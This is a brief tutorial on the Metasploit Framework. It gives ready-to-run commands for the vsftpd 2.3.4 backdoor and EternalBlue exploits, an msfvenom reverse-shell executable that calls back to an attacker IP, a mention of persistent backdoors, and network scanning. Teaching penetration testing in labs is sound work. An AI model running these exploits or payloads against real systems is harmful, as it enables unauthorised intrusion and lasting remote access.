Metasploit Framework

What is Metasploit?

Metasploit is an open-source framework used by cybersecurity professionals for identifying, validating, and exploiting vulnerabilities in systems. It provides a powerful environment to create and launch payloads, automate attacks, and perform post-exploitation tasks in a controlled and ethical manner.

🔥 Core Capabilities

Exploit Development and Usage
Payload Generation and Execution
Post-Exploitation Modules
Auxiliary Scanning and Enumeration Tools
Integration with databases and automation scripts

🧪 Getting Started with Metasploit

Step 1: Launch Metasploit Console

msfconsole

This command opens the main interactive shell of Metasploit.

Step 2: Search for an Exploit

search vsftpd

This finds all modules related to the vulnerable "vsftpd" service.

Step 3: Use an Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Loads the exploit module into the session.

Step 4: Set Required Options

set RHOSTS 192.168.1.105

Defines the target IP address or range.

Step 5: Run the Exploit

exploit

Launches the attack against the specified target.

⚙️ Advanced Features

Custom Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe

Generates a reverse shell payload to execute on a Windows system.

Persistent Backdoors

Use persistence script in Meterpreter sessions to maintain access.

Database Integration

db_nmap -sV 192.168.1.0/24

Scans a network and stores results in the Metasploit database for reference.

🌐 Real-World Example: EternalBlue (MS17-010)

This exploit targets a vulnerability in SMB v1 on Windows systems.

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.200
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
exploit

💡 Tips & Best Practices

Always test exploits in lab environments first
Use info to get full documentation on any module
Save sessions using sessions -s for later use
Combine with Nmap, Nikto, and Burp for full attack chains

💣 Metasploit Framework